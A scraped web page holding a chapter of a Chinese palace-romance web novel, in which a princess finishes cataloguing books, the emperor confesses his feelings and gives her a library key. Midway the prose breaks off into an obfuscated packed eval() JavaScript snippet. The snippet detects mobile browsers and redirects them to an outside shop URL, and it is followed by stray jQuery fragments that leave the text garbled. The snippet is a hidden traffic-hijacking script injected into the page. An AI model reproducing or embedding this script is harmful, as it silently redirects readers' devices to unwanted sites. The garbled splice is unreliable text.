默认冷灰
24号文字
方正启体

73. 逐香渡水与君对(3)

作者:繁星昭月本书字数:K更新时间:
    翌日清晨,年昭月踏入藏书阁时,脚步比往日稍缓。


    在静室门外驻足一瞬,定了定神,才推门而入。


    然后,她怔住了。


    宗暻渊已在室内。


    他背对着门,立于西窗边,手中正翻阅的,赫然是她前日未整理完的《万里山水志略》。


    晨光透过窗棂,在他玄色常服上镀了层淡金,身姿挺拔如松。


    听到推门声,他转过身来。


    四目相对。


    空气有刹那凝滞。


    年昭月迅速垂下眼睫,依礼下拜:“臣女参见陛下。”


    “免礼。”他的声音平稳如常,仿佛那夜宫道上的激烈与温柔都只是幻觉,“今日来得早。”


    一句再平常不过的寒暄,却让年昭月心头微松。他没有提起宫道之事,给了彼此一个从容的过渡。


    “是,今日事毕,想早些完工。”她起身,走向自己的书案。


    室内很静,只有书页翻动的沙沙声,以及窗外一阵阵的蝉鸣。


    年昭月强迫自己专注于眼前最后几卷典籍的编目,可全部感官却不受控制地聚焦于窗边那人身上。


    能感觉到他的目光偶尔掠过,能听到他极轻的脚步声在书架间移动,甚至能闻到他身上那缕熟悉的、清冽的气息。


    最后一匣书册颇重。她刚伸手去搬,另一只手已先一步握住匣边。


    指尖不可避免地相触。


    温热的触感一掠而过,年昭月倏然收手,耳根发烫。宗暻渊却神色不变,稳稳将书匣接过,置于她案头:“小心些。”


    “……谢陛下。”她声音低不可闻。


    两人之间的距离不过一臂。她慌忙转身,假装去取另一卷书,指尖却有些发颤。


    “这些典籍,今日便能全部整理完毕。”她背对着他,努力让声音听起来平静,“徐翰林已核验过书目,只差最后的钤印归档。”


    “嗯。”宗暻渊的声音在身后响起,很近,“编录之功,辛苦你了。”


    “分内之事。”年昭月转过身,发现他不知何时已走到她身侧,正看着案上那本《万里山水志略》。


    “这本书……”宗暻渊忽然开口,指尖轻点书页,“记载的前朝海岸线,与现今东南舆图多有出入。你整理时,可曾注意到?”


    话题转到典籍内容,年昭月紧绷的神经稍缓:“是。臣女比对过,近百年间,三处河口外移,两处沙洲湮没。想来是水利不修、水土流失所致。”


    “治水如治国,堵不如疏,防不如导。”宗暻渊抬眼看她,眸色深深,“有些事,强压无益,反需顺势而为,徐徐图之。”


    这话一语双关。


    年昭月心头一跳,垂眸避开他的视线:“陛下……圣明。”


    室内又静下来。这次静得有些微妙,空气里仿佛有什么东西在无声流动。


    徐翰林抱着最后一批书册推门而入时,见到的便是帝公主并肩立于案前、相距不过尺余的画面。


    老先生一愣,随即了然微笑,悄然将书册放在门口矮几上,又无声退了出去,还体贴地掩上了门。


    关门声很轻,却让年昭月呼吸一滞。


    现在,静室里真的只剩他们两人了。


    钤印需要用到藏书阁的官印和镇纸。官印在对面书案,镇纸在她手边。


    年昭月起身去取官印,回来时,宗暻渊已自然地在她的位置坐下,手中拿着那方青玉镇纸把玩。


    她的座位。


    她脚步顿住。


    “愣着做什么?”宗暻渊抬眸,神色如常,“不是要钤印?”


    年昭月抿了抿唇,走到案边。他坐在圈椅里,她便只能站在他身侧,这个姿势,她需微微俯身才能触及案上的书册和印泥。


    她深吸一口气,拿起第一册,翻开扉页,蘸了印泥。


    手很稳,心跳却很快。


    钤印需要用力。她俯身按压时,一缕碎发从耳后滑落,垂在颊边。正要抬手去拂,另一只手已先一步伸了过来。


    宗暻渊的指尖轻轻将那缕发丝别回她耳后。


    指尖触及她耳廓肌肤的瞬间,年昭月僵在那里,保持着俯身的姿势,耳根以肉眼可见的速度染上绯色。


    “陛、陛下……”她声音微颤。


    “嗯?”宗暻渊应得从容,手指却转而握住了她拿着官印的手,“印要按得再重些,否则年久易褪。”


    他掌心滚烫,包裹着她的手,带着她的力道,将官印重重按在纸页上。


    “这样。”他在她耳边低语,气息拂过她敏感的颈侧。


    年昭月呼吸乱了。


    她想抽回手,却被他握得更紧。想直起身,却发现自己被他半圈在怀中。他坐着,她站着俯身,这个姿势让她无处可退。


    心跳快得几乎要撞出胸腔。


    “陛下……”她又唤了一声,这次声音更轻,带着自己都未察觉的慌乱。


    宗暻渊终于松开她的手,却没有放开她。他缓缓站起身,两人之间的距离瞬间拉近。他高她许多,此刻垂眸看她,目光深邃如海。


    “年昭月,”他声音低沉,“那日宫道上的话,朕是认真的。”


    年昭月心头巨震,他还是提了这件事。


    “你说你醉酒之言不必当真,那朕今日清醒着,再说一次。”


    他凝视着她的眼睛,一字一句,清晰无比,“朕心里有你,只有你。这份心意,不会因你是醉酒还是清醒,是公主还是其他任何身份,而有半分改变。”


    每一个字都像滚烫的烙印,烙在她心上。


    年昭月张了张口,想说什么,却发现喉咙发紧,半个字都说不出来。


    脸颊烫得厉害,心跳如擂鼓,脑子里乱哄哄的,所有的理智、所有的防备,在这一刻土崩瓦解。


    她只能怔怔地看着他,看着他眼中那份毫不掩饰的、沉甸甸的情意。


    “我……”她终于发出声音,却语无伦次,“臣女……臣女……”


    “不必急着回答。”宗暻渊打断她,手指轻轻拂过她滚烫的脸颊,“朕说了,可以等。”


    这个动作太过亲昵,年昭月浑身一颤,慌乱中往后退了一步……


    然后,她踩到了自己的裙摆。


    “啊——”一声低呼,她整个人向后仰去。


    刹那间,宗暻渊长臂一伸,稳稳揽住她的腰,将她整个人带进怀里。年昭月惊魂未定,双手下意识抓住他的衣襟,整个人贴在他胸前。


    时间仿佛静止了。


    她能清晰感觉到他胸膛的起伏,他沉稳有力的心跳,他揽在腰间手臂的力量。夏日单薄的衣料几乎隔不住体温,彼此的呼吸交织在一起,暖昧得令人心慌。


    “站、站不稳……”年昭月面红耳赤,想推开他,却发现腿有些发软。


    宗暻渊低笑一声,那笑声从胸腔传来,震得她耳膜发麻:“朕知道。”


    他没有立即松开,反而将她揽得更稳了些,低头在她耳边轻声道:“下次小心些。”


    温热的气息拂过耳廓,年昭月浑身一颤,慌慌张张从他怀里挣脱出来,后退两步,背靠着书案才站稳。


    “臣女……失仪了……”她低头整理微乱的衣襟,不敢看他。


    宗暻渊看着她通红的耳根和慌乱的动作,眼底漾开淡淡的笑意:“无妨。”


    接下来的钤印过程,年昭月全程低着头,动作迅速得几乎有些仓促。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056791|190086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她能感觉到他的目光始终落在她身上,灼热而专注,让她每一下动作都变得格外艰难。


    终于,最后一册典籍盖上印记。


    她长舒一口气,退后一步,躬身道:“陛下,全部整理完毕了。”


    宗暻渊看了看整齐码放的书册,点头:“做得很好。”顿了顿,又道,“方才……”


    “方才是个意外!”年昭月飞快打断,脸颊又红了几分,“臣女不是故意的!”


    宗暻渊看着她这副急于撇清的模样,唇角微不可察地扬了扬:“朕知道。”


    这三个字说得意味深长。


    年昭月不敢深想,连忙转移话题:“那……若陛下无事,臣女便告退了。”


    “等等。”宗暻渊叫住她,从袖中取出一个小巧的锦囊,“这个,给你。”


    年昭月迟疑地看着那个锦囊,没有立刻接。


    “不是什么贵重之物。”宗暻渊将锦囊放在她面前的案上,“打开看看。”


    她犹豫片刻,还是解开了锦囊系带。


    里面是一枚……钥匙。


    铜制,小巧精致,上面刻着细微的纹路,看起来有些年头了。


    “这是……”年昭月不解。


    “藏书阁顶楼西侧书库的钥匙。”宗暻渊看着她,“那里收着一些前朝孤本、禁书,以及朕私藏的一些舆图笔记。寻常人不得入内。”


    年昭月怔住了。


    “你既喜欢看书,日后若有闲暇,可自行上去看看。”他的声音平静,仿佛在说一件再平常不过的事,“那里安静,少有人打扰。”


    年昭月握着那枚尚带他体温的钥匙,心头涌上一阵复杂的暖意。她抬眸看他,想说什么,却觉得任何感谢的话都显得苍白。


    最终,她只是郑重地行了一礼:“臣女……定会妥善保管。”


    “嗯。”宗暻渊应了一声,目光在她脸上停留片刻,才移开,“去吧。”


    离开藏书阁时,已是申时末。


    夕阳西斜,将宫道染成暖金色。年昭月握着袖中的那枚钥匙,一步步走下楼梯,脚步有些虚浮。方才那一连串的意外,那个意外的触碰,此刻还在她脑中挥之不去。


    徐翰林在楼下等候,见她下来,笑眯眯道:“公主辛苦。老臣已将书目总录呈送内府归档,公主编录之功,必载史册。”


    “徐翰林辛苦。”年昭月还礼客气道。


    走出藏书阁,她回头望了一眼。


    三层的飞檐在暮色中静默矗立,西窗半掩。那里,有她刚刚经历过的心跳、慌乱、意外,还有那枚小小的、沉甸甸的钥匙。


    “公主,可要备辇?”随侍的宫女轻声问。


    “不必,我走一走。”年昭月摇头,她想吹吹风,让脸上的热度退下去。


    沿着宫道慢慢走着,夕阳将她的影子拉得很长。她握着袖中的钥匙,指尖轻轻摩挲着上面的纹路。


    走到岔路口时,她下意识地停下脚步,回头看了一眼。


    宫道尽头空荡荡的,没有人。


    她说不清是松了口气,还是……有一点点说不清道不明的失落。


    摇摇头,将这些乱七八糟的念头甩开,她转身走向宫门。


    走出宫门,公主府的马车已在等候。老何迎上来,见她神色如常,松了口气:“公主,回府吗?”


    “回府。”年昭月登上马车。


    帘子放下,车厢内光线昏暗。她靠在车壁上,终于放任自己露出放松的神情。


    马车驶过京城长街,窗外传来市井的喧嚣声,夏夜的风带着街边食摊的香气飘进来,人间烟火气十足。


    年昭月望着窗外渐次亮起的万家灯火,唇角轻轻扬起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)